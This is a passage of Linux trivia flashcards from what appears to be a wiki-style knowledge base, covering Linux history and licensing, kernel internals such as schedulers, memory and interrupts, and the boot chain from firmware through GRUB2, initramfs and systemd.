A: Android uses the Linux kernel but replaces most of the GNU userland with its own (Bionic libc, Dalvik/ART runtime). It is the most widely deployed Linux kernel variant by device count.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Differences between Unix, Linux, BSD, and GNU]]
* [[The Linux kernel: what it is and how it works]]
* [[What is a Linux distribution (distro)?]]
Q: What embedded operating system is used in most consumer routers and is based on Linux?
A: OpenWrt (formerly also DD-WRT) is the most popular Linux-based router firmware.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The Linux kernel: what it is and how it works]]
* [[What programming language is the Linux kernel primarily written in?]]
* [[What Linux distributions are you familiar with?]]
Q: What year did Linux first surpass 50% of the web server market?
A: By the mid-2000s, Linux-based servers (primarily running Apache) held over 60% of the public web server market.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the first commercial Linux distribution?]]
* [[What supercomputing milestone does Linux hold?]]
* [[What was the first Linux distribution?]]
Q: What supercomputing milestone does Linux hold?
A: As of 2017, Linux runs on 100% of the world's Top 500 supercomputers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the "Year of the Linux Desktop" meme?]]
* [[Give some examples of Linux distribution. What is your favorite distro and why?]]
* [[What year did Linux first surpass 50% of the web server market?]]
Q: What is the origin of the term "free software" vs "open source"?
A: "Free software" was coined by Richard Stallman (free as in freedom, not price). "Open source" was coined in 1998 by Christine Peterson and adopted by Eric Raymond and Bruce Perens to make the concept more business-friendly. The OSI (Open Source Initiative) maintains the Open Source Definition.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Who is Richard Stallman, and what is his role in the Linux ecosystem?]]
* [[What does `free` show?]]
Q: What is the difference between the GPL, LGPL, MIT, and Apache licenses?
A: GPL: strong copyleft — derivatives must also be GPL. LGPL: weak copyleft — allows linking with proprietary code. MIT: permissive — do anything with attribution. Apache 2.0: permissive with patent grant. The kernel uses GPLv2.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the four freedoms of the GPL?]]
* [[Linux kernel license: GPLv2 only]]
* [[What is the ZFS licensing controversy?]]
Q: What is the BSD license?
A: A permissive license allowing redistribution in source or binary form with minimal restrictions (attribution required). Unlike GPL, it does not require derivative works to be open source.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Which BSD variants are actively developed?]]
* [[What are the four freedoms of the GPL?]]
* [[Differences between Unix, Linux, BSD, and GNU]]
Q: Who is the creator of MINIX 3?
A: Andrew S. Tanenbaum. MINIX 3 is a microkernel-based OS designed for reliability. Intel's Management Engine runs a modified MINIX 3, meaning MINIX may be the most widely deployed OS by unit count.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What operating system inspired Linus to write Linux?]]
* [[What was the famous opening line of Linus Torvalds' Usenet post announcing Linux?]]
Q: What is the Linux Standard Base (LSB)?
A: A joint ISO/IEC and Linux Foundation project to standardize the internal structure of Linux distributions. It defines package formats, filesystem layout, library interfaces, and commands for binary compatibility.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux distribution (distro)?]]
* [[What is `lsblk`?]]
* [[What filesystem does Debian/Ubuntu use by default?]]
Q: What was the "SCO vs IBM" lawsuit?
A: SCO Group sued IBM in 2003 claiming IBM contributed SCO's proprietary Unix code to Linux. The case dragged on for years, threatening Linux adoption. SCO ultimately lost and went bankrupt in 2007. The case was significant for validating Linux's legal standing.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was the "Year of the Linux Desktop" meme?]]
* [[What supercomputing milestone does Linux hold?]]
Q: What is Linus's Law?
A: "Given enough eyeballs, all bugs are shallow" — coined by Eric Raymond in "The Cathedral and the Bazaar," attributed to Linus. It means with many code reviewers, bugs are found quickly.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What operating system inspired Linus to write Linux?]]
Q: What is the Debian Social Contract?
A: A founding document of the Debian Project that commits to keeping Debian 100% free software, giving back to the free software community, not hiding problems, and prioritizing users and free software.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What distros make up the Debian family?]]
* [[What is the Devuan distribution?]]
Q: What is systemd's creator known for?
A: Lennart Poettering, a Red Hat developer, created systemd (2010), PulseAudio, and Avahi. systemd's adoption was controversial, leading to the "systemd wars" in the Linux community.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[Who created Linux, and in what year?]]
* [[What is the "Perfect Media Server" stack and who created it?]]
Q: What is the Devuan distribution?
A: A fork of Debian that replaces systemd with SysVinit or OpenRC. Created by developers who objected to Debian's adoption of systemd as the default init system.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux distribution (distro)?]]
* [[What distros make up the Debian family?]]
* [[What is systemd?]]
Q: Is the Linux kernel monolithic or microkernel?
A: Monolithic — the entire OS runs in kernel space as a single binary image. However, it supports loadable kernel modules (LKMs) that can be inserted and removed at runtime, giving it some microkernel flexibility.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the different types of kernels? Explain.]]
* [[Linux decomposes into kernel, userspace, and distribution packaging]]
* [[The Linux kernel: what it is and how it works]]
Q: What is the syscall number for <html><code>write</code></html> on x86-64 Linux?
A: Syscall number 1. <html><code>read</code></html> is 0, <html><code>open</code></html> is 2, <html><code>close</code></html> is 3, <html><code>exit</code></html> is 60, <html><code>fork</code></html> is 57.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[System call (syscall): user-space to kernel interface]]
* [[File descriptor in Linux/Unix]]
* [[What is the clone() system call?]]
Q: What is a loadable kernel module (LKM)?
A: Code that can be loaded into a running kernel to extend functionality (e.g., device drivers, filesystems) without rebooting. Managed with <html><code>insmod</code></html>, <html><code>rmmod</code></html>, <html><code>modprobe</code></html>, and <html><code>lsmod</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a Linux kernel module and how do you load a new module?]]
* [[What command lists currently loaded kernel modules?]]
* [[What is the `lsmod` vs `/proc/modules` relationship?]]
Q: What is the difference between insmod and modprobe?
A: <html><code>insmod</code></html> loads a specific module file without resolving dependencies. <html><code>modprobe</code></html> is smarter — it resolves and loads dependencies automatically using <html><code>modules.dep</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the `lsmod` vs `/proc/modules` relationship?]]
* [[What is a loadable kernel module (LKM)?]]
* [[What kernel configuration file controls module parameters at load time?]]
Q: What command lists currently loaded kernel modules?
A: <html><code>lsmod</code></html>, which reads from <html><code>/proc/modules</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a loadable kernel module (LKM)?]]
* [[What kernel configuration file controls module parameters at load time?]]
* [[Where can you find the file that contains the command passed to the boot loader to run …]]
Q: What is the Completely Fair Scheduler (CFS)?
A: The default Linux process scheduler from kernel 2.6.23 (2007) to 6.5, designed by Ingo Molnar. It uses a red-black tree to track virtual runtime, ensuring each process gets a fair share of CPU proportional to its weight (nice value).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What replaced CFS in Linux 6.6?]]
* [[What is an I/O scheduler?]]
* [[What data structure does CFS use internally?]]
Q: What replaced CFS in Linux 6.6?
A: EEVDF (Earliest Eligible Virtual Deadline First), which improves latency fairness by considering both virtual runtime and virtual deadlines, reducing scheduling latency for interactive workloads.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux CPU scheduler has been rewritten four times]]
* [[What is the Completely Fair Scheduler (CFS)?]]
* [[What data structure does CFS use internally?]]
Q: What data structure does CFS use internally?
A: A red-black tree (self-balancing binary search tree) ordered by each task's virtual runtime (<html><code>vruntime</code></html>). The leftmost node (smallest vruntime) is the next task to run.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the Completely Fair Scheduler (CFS)?]]
* [[What replaced CFS in Linux 6.6?]]
Q: What is virtual memory?
A: An abstraction where each process sees a contiguous, private address space. The kernel and MMU translate virtual addresses to physical addresses via page tables, allowing memory isolation, overcommit, and swapping.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux memory overcommitment and vm.overcommit_memory]]
* [[What is the difference between a process and a thread in terms of memory?]]
* [[Memory oversubscription in hypervisors causes host-level paging invisible to guests]]
Q: What is a page table?
A: A hierarchical data structure (4 or 5 levels on x86-64) that maps virtual addresses to physical page frames. Each entry (PTE) contains the physical frame number and flags (present, read/write, user/supervisor, dirty, accessed).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
* [[What are huge pages?]]
* [[What is a man page section number system?]]
Q: What is the TLB?
A: Translation Lookaside Buffer — a CPU cache for recent virtual-to-physical address translations. TLB misses require expensive page table walks, so TLB efficiency is critical for performance.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Huge pages reduce TLB misses by two orders of magnitude]]
* [[What are huge pages?]]
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
Q: What are huge pages?
A: Memory pages larger than the default 4KB — typically 2MB or 1GB on x86-64. They reduce TLB misses for large working sets. Configured via <html><code>hugetlbfs</code></html> (static) or Transparent Huge Pages (THP, dynamic).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the TLB?]]
* [[What is a page table?]]
* [[Linux page table hierarchy evolved from three to five levels for address space growth]]
Q: What is NUMA?
A: Non-Uniform Memory Access — a memory architecture where each CPU socket has "local" memory with faster access and "remote" memory on other sockets with higher latency. The kernel's NUMA-aware allocator tries to place memory close to the CPU that uses it.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[NUMA misconfiguration on multi-socket servers causes 30–40% throughput loss]]
* [[What is the `numactl` command?]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Q: What is oom_score_adj?
A: A per-process tunable (-1000 to 1000) in <html><code>/proc/PID/oom_score_adj</code></html> that biases the OOM killer. -1000 disables OOM killing for that process; 1000 makes it the first victim.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[Protecting all processes from OOM killer disables the safety mechanism]]
Q: What is <html><code>/proc/PID/oom_score</code></html>?
A: The current OOM killer score (0-1000) for a process. Higher means more likely to be killed when memory is critically low. Based on memory usage, oom_score_adj, and other factors.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Rsync triggered Linux OOM killer on a single 50 GB file. How does the OOM killer decide…]]
* [[Analyzing out-of-memory kills from kernel logs and cgroup limits]]
* [[oom_score_adj and Kubernetes QoS determine OOM kill priority]]
Q: What is the SLUB allocator?
A: The default slab allocator in modern Linux kernels, replacing the original SLAB allocator. It manages small kernel memory allocations efficiently using per-CPU caches and object pools organized by size.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `slabtop`?]]
* [[The Linux kernel: what it is and how it works]]
* [[What are Linux namespaces?]]
Q: What is the difference between kmalloc and vmalloc?
A: <html><code>kmalloc</code></html> allocates physically contiguous memory from the slab allocator (fast, limited size). <html><code>vmalloc</code></html> allocates virtually contiguous but potentially physically non-contiguous memory (slower due to page table setup, can allocate larger regions).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is virtual memory?]]
* [[What is `slabtop`?]]
* [[What is the SLUB allocator?]]
Q: What is the VFS (Virtual Filesystem Switch)?
A: An abstraction layer that provides a uniform interface for all filesystems. It defines common objects (superblock, inode, dentry, file) so that <html><code>open()</code></html>, <html><code>read()</code></html>, <html><code>write()</code></html> work identically regardless of the underlying filesystem.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Storage stack: five transformations from raw disk to usable directory]]
* [[Describe the Linux storage stack from application down to hardware.]]
* [[What is an overlay filesystem?]]
Q: What is eBPF?
A: Extended Berkeley Packet Filter — a technology allowing sandboxed programs to run inside the Linux kernel without modifying kernel source or loading modules. Used for networking, observability, security, and tracing. Programs are verified for safety before execution.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
* [[eBPF Is the Most Powerful Forensic Tool on Modern Linux]]
Q: What is <html><code>eBPF</code></html> used for in networking?
A: Traffic control, XDP packet processing, socket filtering, load balancing (Cilium, Katran), network observability, and programmable firewalling. It allows custom network logic without kernel modifications.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[BPF originated as in-kernel packet filtering and evolved into eBPF]]
* [[What is the XDP (eXpress Data Path) framework?]]
Q: What is a kprobe?
A: A kernel debugging mechanism that allows inserting breakpoints at virtually any kernel function. When the probed instruction executes, a registered handler runs. Used for dynamic tracing without recompilation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is kdump and how does it capture crash dumps during a kernel panic?]]
* [[Proactive kernel health monitoring via cron-scheduled alerts]]
Q: What is ftrace?
A: The kernel's built-in function tracer, accessible via <html><code>/sys/kernel/debug/tracing/</code></html>. It can trace function calls, measure latencies, and generate call graphs. Backends include function tracer, function_graph, and various event tracers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does strace do? What about ltrace?]]
* [[What does `strace` do?]]
* [[What is `bpftrace`?]]
Q: What is perf?
A: A powerful Linux profiling tool that leverages hardware performance counters, tracepoints, kprobes, and uprobes. It can profile CPU cycles, cache misses, branch mispredictions, and more with minimal overhead.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[perf answers CPU-bound vs I/O-bound questions that logs cannot]]
* [[perf + flamegraphs: CPU profiling and hotspot identification]]
* [[What is the `perf top` command?]]
Q: What kernel configuration file controls module parameters at load time?
A: <html><code>/etc/modprobe.d/*.conf</code></html> files contain options and aliases for kernel modules.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What command lists currently loaded kernel modules?]]
* [[What is a Linux kernel module and how do you load a new module?]]
* [[Where can you find kernel's configuration?]]
Q: What is the kernel ring buffer?
A: A fixed-size buffer in kernel memory that stores kernel log messages, accessible via <html><code>dmesg</code></html>. It contains boot messages, driver initialization output, and runtime kernel messages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `dmesg` show?]]
* [[Kernel space vs. user space in Linux]]
* [[How many privilege rings does x86 architecture define, and which does Linux use?]]
Q: What is copy-on-write (COW)?
A: A memory optimization where forked processes initially share the same physical pages as the parent. Pages are only copied when one process writes to them, reducing memory usage and fork time.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What was Dirty COW?]]
* [[What is the clone() system call?]]
* [[What is RCU (Read-Copy-Update)?]]
Q: How many privilege rings does x86 architecture define, and which does Linux use?
A: x86 defines 4 rings (0-3). Linux uses only ring 0 (kernel) and ring 3 (user space). Rings 1 and 2 are unused.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Kernel space vs. user space in Linux]]
* [[What is the kernel ring buffer?]]
* [[What are the 8 types of Linux namespaces?]]
Q: What is a context switch?
A: The process of saving the state (registers, program counter, page table pointer) of the currently running process and restoring the state of the next process to run. Context switches are expensive due to cache and TLB invalidation.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a process context switch and an interrupt?]]
* [[Context switch costs 1–5 microseconds directly, 10–100 indirectly]]
Q: What is context switch?
A: From [[wikipedia|https://en.wikipedia.org/wiki/Context_switch]]: a context switch is the process of storing the state of a process or thread, so that it can be restored and resume execution at a later point
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is the difference between a process context switch and an interrupt?]]
Q: What is the difference between a process context switch and an interrupt?
A: A process context switch saves/restores full process state including user-space registers and page tables. An interrupt only saves minimal CPU state, runs the interrupt handler in kernel context, then returns — no page table switch is needed if returning to the same process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a context switch?]]
* [[What is context switch?]]
* [[Explain interrupts and interrupt handlers in Linux.]]
Q: What is a softirq?
A: A deferred interrupt handling mechanism in the kernel. Hardware interrupts (hardirqs) run minimal code quickly, then schedule softirqs to do the heavier processing. Network packet processing and block I/O completion use softirqs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `irqbalance`?]]
* [[What is the difference between hard and soft NFS mount options?]]
* [[What is an I/O scheduler?]]
Q: What is the difference between softirq and hardirq?
A: Hardirqs (hardware interrupts) are triggered by hardware events and must be handled quickly with interrupts disabled. Softirqs are deferred processing scheduled by hardirqs to run with interrupts enabled, handling the bulk of the work.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between hard and soft NFS mount options?]]
* [[What is the difference between hard and soft limits in ulimit?]]
* [[What is SnapRAID and how does it differ from real-time RAID?]]
Q: What is kernel preemption?
A: The ability of the kernel to interrupt a currently running kernel-mode task to schedule a higher-priority task. Controlled by CONFIG_PREEMPT (full), CONFIG_PREEMPT_VOLUNTARY, or CONFIG_PREEMPT_NONE.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a kernel, and what does it do?]]
* [[What does the `init=` kernel parameter do?]]
* [[The Linux kernel: what it is and how it works]]
Q: What is RCU (Read-Copy-Update)?
A: A synchronization mechanism optimized for read-heavy workloads. Readers access shared data without locks; writers create a copy, modify it, and atomically replace the pointer. Reclamation of old data waits until all readers complete.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is copy-on-write (COW)?]]
* [[What does `sync` do?]]
Q: What are the main kernel memory zones on x86-64?
A: ZONE_DMA (first 16MB for legacy DMA), ZONE_DMA32 (first 4GB for 32-bit DMA), ZONE_NORMAL (rest of physical memory). There is no ZONE_HIGHMEM on 64-bit because all physical memory is directly mappable.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Direct memory access was a foundational rootkit vector]]
* [[What is the kernel ring buffer?]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Q: What is BIOS?
A: Basic Input/Output System — legacy firmware stored in ROM that initializes hardware and loads the first 512-byte sector (MBR) from the boot device. Limited to 16-bit real mode, 1MB address space, and MBR partition tables (max 2TB disks).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[BIOS dominated firmware for 40 years before UEFI replacement]]
* [[What is UEFI?]]
* [[What is `dmidecode`?]]
Q: What is UEFI?
A: Unified Extensible Firmware Interface — the modern replacement for BIOS. It supports GPT partitions, 64-bit mode, Secure Boot, network booting, and a shell environment. Boot loaders are stored as EFI executables on the ESP (EFI System Partition).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the ESP?]]
* [[What is Secure Boot?]]
* [[What is BIOS?]]
Q: What is Secure Boot?
A: A UEFI feature that verifies the cryptographic signature of boot loaders and kernels before execution, preventing unsigned or tampered code from running. Linux distros use Microsoft-signed shim bootloaders for compatibility.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is UEFI?]]
* [[Explain in a few points the boot process of the Linux system.]]
Q: What is the difference between GPT and MBR?
A: MBR (Master Boot Record) supports up to 4 primary partitions and 2TB disks. GPT (GUID Partition Table) supports up to 128 partitions, disks larger than 2TB, and includes a backup partition table. GPT requires UEFI (or a BIOS boot partition).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between GPT and MBR partition schemes, and which tools manage them?]]
* [[What is the difference between fdisk, parted, and gdisk?]]
* [[What is UEFI?]]
Q: What is the ESP?
A: The EFI System Partition — a FAT32-formatted partition (typically 100-550MB) at the beginning of the disk containing UEFI boot loaders. Mounted at <html><code>/boot/efi</code></html> on Linux.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is UEFI?]]
* [[What is the purpose of the `/boot` partition?]]
* [[What does `grub2-install` do?]]
Q: What is GRUB2?
A: GRand Unified Bootloader version 2 — the default bootloader for most Linux distributions. It supports multiple OSes, filesystems, UEFI, and offers a rescue shell.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[What is GRUB2's main configuration file?]]
* [[What does `grub2-install` do?]]
Q: What is GRUB2's main configuration file?
A: <html><code>/boot/grub2/grub.cfg</code></html> (or <html><code>/boot/grub/grub.cfg</code></html> on Debian-family). It is auto-generated by <html><code>grub2-mkconfig</code></html> / <html><code>update-grub</code></html> from scripts in <html><code>/etc/grub.d/</code></html> and settings in <html><code>/etc/default/grub</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the GRUB_CMDLINE_LINUX variable?]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[What is GRUB2?]]
Q: What are the stages of GRUB2 boot loading?
A: Stage 1: The boot.img in the MBR (446 bytes) loads stage 1.5. Stage 1.5 (core.img): filesystem-aware code in the post-MBR gap loads stage 2. Stage 2: Full GRUB environment reads grub.cfg, displays menu, and loads the kernel and initramfs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
* [[What is GRUB2's main configuration file?]]
Q: How do you enter GRUB rescue mode?
A: Press 'c' at the GRUB menu for a command shell, or 'e' to edit a boot entry. If GRUB can't find its config, it drops to <html><code>grub rescue></code></html> automatically.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[`grub>` vs `grub-rescue>`. Explain.]]
* [[How do you recover GRUB when the system won't boot?]]
* [[What kernel parameter boots into single-user/rescue mode?]]
Q: What is initramfs?
A: Initial RAM Filesystem — a compressed cpio archive loaded into memory by the bootloader alongside the kernel. It contains essential drivers, scripts, and tools needed to mount the real root filesystem (e.g., LVM, RAID, encryption, network drivers).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the purpose of the `/boot` partition?]]
* [[What does "cpio" stand for?]]
* [[What does the `init=` kernel parameter do?]]
Q: What is the difference between initramfs and initrd?
A: initrd (initial RAM disk) is an older mechanism that creates a block device in RAM and mounts it as a filesystem. initramfs is a cpio archive extracted into a tmpfs instance. Modern Linux uses initramfs, though the term "initrd" persists colloquially.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an inode, and what does it store?]]
* [[What does the `init=` kernel parameter do?]]
* [[What does "cpio" stand for?]]
Q: What is switch_root?
A: A command executed at the end of initramfs processing that atomically pivots from the temporary root filesystem to the real root. It deletes everything in the initramfs, mounts the real root at <html><code>/</code></html>, and exec's the real init process.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `init=` kernel parameter do?]]
* [[What does the `rd.break` kernel parameter do?]]
* [[What kernel parameter forces a root password reset?]]
Q: What is systemd's role in the boot process?
A: systemd is PID 1 — the first user-space process. The kernel execs it after mounting the root filesystem. systemd parses its unit files, builds a dependency graph, and starts services in parallel to reach the default target.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is systemd?]]
* [[systemd as PID 1 controls service lifecycle and resource management on all major Linux distributions]]
* [[What is systemd and how does it manage Linux services?]]
Q: What are systemd targets, and how do they map to SysVinit runlevels?
A: Targets are systemd unit files grouping services. <html><code>poweroff.target</code></html>=runlevel 0, <html><code>rescue.target</code></html>=1, <html><code>multi-user.target</code></html>=3, <html><code>graphical.target</code></html>=5, <html><code>reboot.target</code></html>=6.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What systemd target replaces traditional runlevel 3, and what does it provide?]]
* [[What is the rescue.target in systemd?]]
* [[What is the emergency.target in systemd?]]
Q: How do you set the default systemd target?
A: <html><code>systemctl set-default multi-user.target</code></html> (creates a symlink at <html><code>/etc/systemd/system/default.target</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What systemd target replaces traditional runlevel 3, and what does it provide?]]
* [[What is the rescue.target in systemd?]]
* [[What are systemd targets, and how do they map to SysVinit runlevels?]]
Q: What kernel parameter boots into single-user/rescue mode?
A: Append <html><code>single</code></html>, <html><code>1</code></html>, or <html><code>systemd.unit=rescue.target</code></html> to the kernel command line in GRUB.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the rescue.target in systemd?]]
* [[What is the emergency.target in systemd?]]
* [[`grub>` vs `grub-rescue>`. Explain.]]
Q: What does the <html><code>rd.break</code></html> kernel parameter do?
A: It interrupts the boot process inside the initramfs before the root filesystem is mounted, dropping to an emergency shell. Useful for resetting a forgotten root password (the real root is at <html><code>/sysroot</code></html>).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What kernel parameter forces a root password reset?]]
* [[What does the `init=` kernel parameter do?]]
* [[How does Linux boot, end to end?]]
Q: What does the <html><code>init=</code></html> kernel parameter do?
A: It overrides the default init process. For example, <html><code>init=/bin/bash</code></html> boots directly into a root shell without running systemd, useful for emergency recovery.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the `rd.break` kernel parameter do?]]
* [[What is switch_root?]]
* [[What is the init process?]]
Q: What does the <html><code>quiet</code></html> kernel parameter do?
A: Suppresses most kernel boot messages, showing only critical errors. The <html><code>splash</code></html> parameter enables a graphical boot screen.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `kernel.panic` control?]]
* [[What is the kernel ring buffer?]]
* [[What is the GRUB_CMDLINE_LINUX variable?]]
Q: What is the GRUB_CMDLINE_LINUX variable?
A: A setting in <html><code>/etc/default/grub</code></html> that specifies kernel parameters added to every boot entry when <html><code>grub2-mkconfig</code></html> regenerates grub.cfg.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /proc/cmdline?]]
* [[What is GRUB2's main configuration file?]]
* [[GRUB2: default Linux bootloader and minimal pre-kernel OS]]
Q: What is the boot sequence order from power-on to login prompt?
A: Firmware (BIOS/UEFI) → Bootloader (GRUB2) → Kernel loading + initramfs → Kernel initialization → PID 1 (systemd) → Default target → Login prompt.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux boot proceeds through six sequential stages, each handing off to the next]]
* [[Walk through the Linux Boot Process (High Level).]]
* [[Describe the simplified boot sequence from firmware to running services in a systemd-ba…]]
Q: How do you regenerate the initramfs on RHEL/Fedora vs Debian/Ubuntu?
A: RHEL/Fedora: <html><code>dracut -f</code></html>. Debian/Ubuntu: <html><code>update-initramfs -u</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is initramfs?]]
* [[What can you find in /boot?]]
* [[What is the difference between initramfs and initrd?]]
Q: What is the difference between <html><code>dracut</code></html> and <html><code>mkinitcpio</code></html>?
A: <html><code>dracut</code></html> is used by RHEL/Fedora to generate initramfs images using a modular, event-driven approach. <html><code>mkinitcpio</code></html> is Arch Linux's tool with a hook-based system. Both produce initramfs cpio archives.
----
''Sources''
